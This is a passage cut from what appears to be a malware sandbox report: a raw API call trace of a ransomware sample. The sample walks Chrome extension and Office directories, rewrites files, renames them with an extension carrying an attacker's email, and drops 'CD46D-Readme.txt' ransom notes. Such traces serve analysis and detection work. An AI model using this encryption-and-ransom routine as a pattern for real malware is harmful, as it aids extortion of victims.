Seed=0x2fef850) returned 0x6a9dac85 [0196.675] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x320d1b4 [0196.675] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x5539cf34 [0196.675] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x65fc61b3 [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x231e2973 [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x1c2b8b39 [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x5a39bd76 [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x29a321bb [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x28fc7ced [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x22cd158c [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x247deeee [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0xd38fe68 [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x5146f7c [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x207b5d7f [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x48eb6f0f [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x6dde7051 [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x676ec473 [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x590b2a50 [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x4673f644 [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x1ef6e10 [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x74cdc38f [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x136bab8a [0196.676] RtlRandomEx (in: Seed=0x2fef850 | out: Seed=0x2fef850) returned 0x79a3b9b2 [0196.696] ReadFile (in: hFile=0x11c0, lpBuffer=0x13329058, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x2fef840, lpOverlapped=0x0 | out: lpBuffer=0x13329058*, lpNumberOfBytesRead=0x2fef840*=0xcf, lpOverlapped=0x0) returned 1 [0196.697] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.697] WriteFile (in: hFile=0x11c0, lpBuffer=0x13335860*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x2fef83c, lpOverlapped=0x0 | out: lpBuffer=0x13335860*, lpNumberOfBytesWritten=0x2fef83c*=0xcf, lpOverlapped=0x0) returned 1 [0197.813] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9385e0 [0197.813] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9382e8 [0197.813] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9382e8) returned 1 [0197.813] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13335860) returned 1 [0197.813] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13329058) returned 1 [0197.813] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb6b8) returned 1 [0197.813] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9fd8) returned 1 [0197.813] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6d20 [0197.813] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.813] WriteFile (in: hFile=0x11c0, lpBuffer=0x12cf4f78*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2fef8a4, lpOverlapped=0x0 | out: lpBuffer=0x12cf4f78*, lpNumberOfBytesWritten=0x2fef8a4*=0x10b, lpOverlapped=0x0) returned 1 [0197.893] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf4f78) returned 1 [0197.893] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6d50) returned 1 [0197.893] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9382e8) returned 1 [0197.893] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6d20) returned 1 [0197.893] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9385e0) returned 1 [0197.893] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909898) returned 1 [0197.893] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909618) returned 1 [0197.893] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909758) returned 1 [0197.893] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c6518 [0197.893] wcscpy (in: _Dest=0xd4c6518, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" [0197.893] wcscat (in: _Dest=0xd4c6518, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.893] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2fef85c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.893] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c93a0 [0198.022] FlushFileBuffers (hFile=0x11c0) returned 1 [0198.028] CloseHandle (hObject=0x11c0) returned 1 [0198.053] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0xd494438 [0198.053] wcscpy (in: _Dest=0xd494438, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\" [0198.053] wcscat (in: _Dest=0xd494438, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\CD46D-Readme.txt" [0198.053] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\cd46d-readme.txt")) returned 0xffffffff [0198.053] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1898 [0198.061] WriteFile (in: hFile=0x1898, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x2fef864, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x2fef864*=0x6fd, lpOverlapped=0x0) returned 1 [0198.078] CloseHandle (hObject=0x1898) returned 1 [0198.091] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494438) returned 1 [0198.091] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338fe18) returned 1 Thread: id = 8295 os_tid = 0x1b0c [0191.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css")) returned 0x20 [0191.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css", dwFileAttributes=0x20) returned 0 [0191.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0191.412] GetLastError () returned 0x5 [0191.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css", dwFileAttributes=0x20) returned 0 [0191.412] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d46a0) returned 1 Thread: id = 8296 os_tid = 0x1b10 [0191.413] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd6) returned 0xd4d46a0 [0191.413] wcscpy (in: _Dest=0xd4d46a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" [0191.413] wcscat (in: _Dest=0xd4d46a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\" [0191.413] wcscat (in: _Dest=0xd4d46a0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*" [0191.413] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96a6a8 [0191.413] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", lpFindFileData=0x96a6a8 | out: lpFindFileData=0x96a6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb8e810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422f0 [0191.413] wcscmp (_String1=".", _String2=".") returned 0 [0191.413] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x96a6a8 | out: lpFindFileData=0x96a6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb8e810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.414] wcscmp (_String1="..", _String2=".") returned 1 [0191.414] wcscmp (_String1="..", _String2="..") returned 0 [0191.414] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x96a6a8 | out: lpFindFileData=0x96a6a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0191.414] wcscmp (_String1="TAB_OFF.GIF", _String2=".") returned 1 [0191.414] wcscmp (_String1="TAB_OFF.GIF", _String2="..") returned 1 [0191.414] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xea) returned 0x12cf8f78 [0191.414] wcscpy (in: _Dest=0x12cf8f78, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" [0191.414] wcscat (in: _Dest=0x12cf8f78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\" [0191.414] wcscat (in: _Dest=0x12cf8f78, _Source="TAB_OFF.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_OFF.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_OFF.GIF" [0192.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cf8f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1448 [0192.267] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x96a6a8 | out: lpFindFileData=0x96a6a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0192.267] wcscmp (_String1="TAB_ON.GIF", _String2=".") returned 1 [0192.267] wcscmp (_String1="TAB_ON.GIF", _String2="..") returned 1 [0192.267] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe8) returned 0x932d10 [0192.267] wcscpy (in: _Dest=0x932d10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" [0192.267] wcscat (in: _Dest=0x932d10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\" [0192.267] wcscat (in: _Dest=0x932d10, _Source="TAB_ON.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_ON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_ON.GIF" [0192.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x932d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1520 [0192.268] FindNextFileW (in: hFindFile=0x9422f0, lpFindFileData=0x96a6a8 | out: lpFindFileData=0x96a6a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0192.268] FindClose (in: hFindFile=0x9422f0 | out: hFindFile=0x9422f0) returned 1 [0192.269] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96a6a8) returned 1 [0192.269] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d46a0) returned 1 [0192.269] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d54a0) returned 1 Thread: id = 8297 os_tid = 0x1b14 [0191.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css")) returned 0x20 [0191.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css", dwFileAttributes=0x20) returned 0 [0191.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0191.415] GetLastError () returned 0x5 [0191.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana.css", dwFileAttributes=0x20) returned 0 [0191.415] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d48cc0) returned 1 Thread: id = 8298 os_tid = 0x58c [0191.416] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0xd4d59e0 [0191.416] wcscpy (in: _Dest=0xd4d59e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" [0191.416] wcscat (in: _Dest=0xd4d59e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\" [0191.416] wcscat (in: _Dest=0xd4d59e0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*" [0191.416] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x969d08 [0191.416] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x969d08 | out: lpFindFileData=0x969d08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942030 [0191.417] wcscmp (_String1=".", _String2=".") returned 0 [0191.417] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x969d08 | out: lpFindFileData=0x969d08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.417] wcscmp (_String1="..", _String2=".") returned 1 [0191.417] wcscmp (_String1="..", _String2="..") returned 0 [0191.417] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x969d08 | out: lpFindFileData=0x969d08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0191.417] wcscmp (_String1="BUTTON.GIF", _String2=".") returned 1 [0191.417] wcscmp (_String1="BUTTON.GIF", _String2="..") returned 1 [0191.417] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe6) returned 0x932950 [0191.417] wcscpy (in: _Dest=0x932950, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" [0191.417] wcscat (in: _Dest=0x932950, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\" [0191.417] wcscat (in: _Dest=0x932950, _Source="BUTTON.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\BUTTON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\BUTTON.GIF" [0193.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x932950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0193.659] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x969d08 | out: lpFindFileData=0x969d08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0193.659] wcscmp (_String1="HEADER.GIF", _String2=".") returned 1 [0193.659] wcscmp (_String1="HEADER.GIF", _String2="..") returned 1 [0193.660] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe6) returned 0x932e00 [0193.660] wcscpy (in: _Dest=0x932e00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" [0193.660] wcscat (in: _Dest=0x932e00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\" [0193.660] wcscat (in: _Dest=0x932e00, _Source="HEADER.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HEADER.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\HEADER.GIF" [0193.660] CreateThread (in: 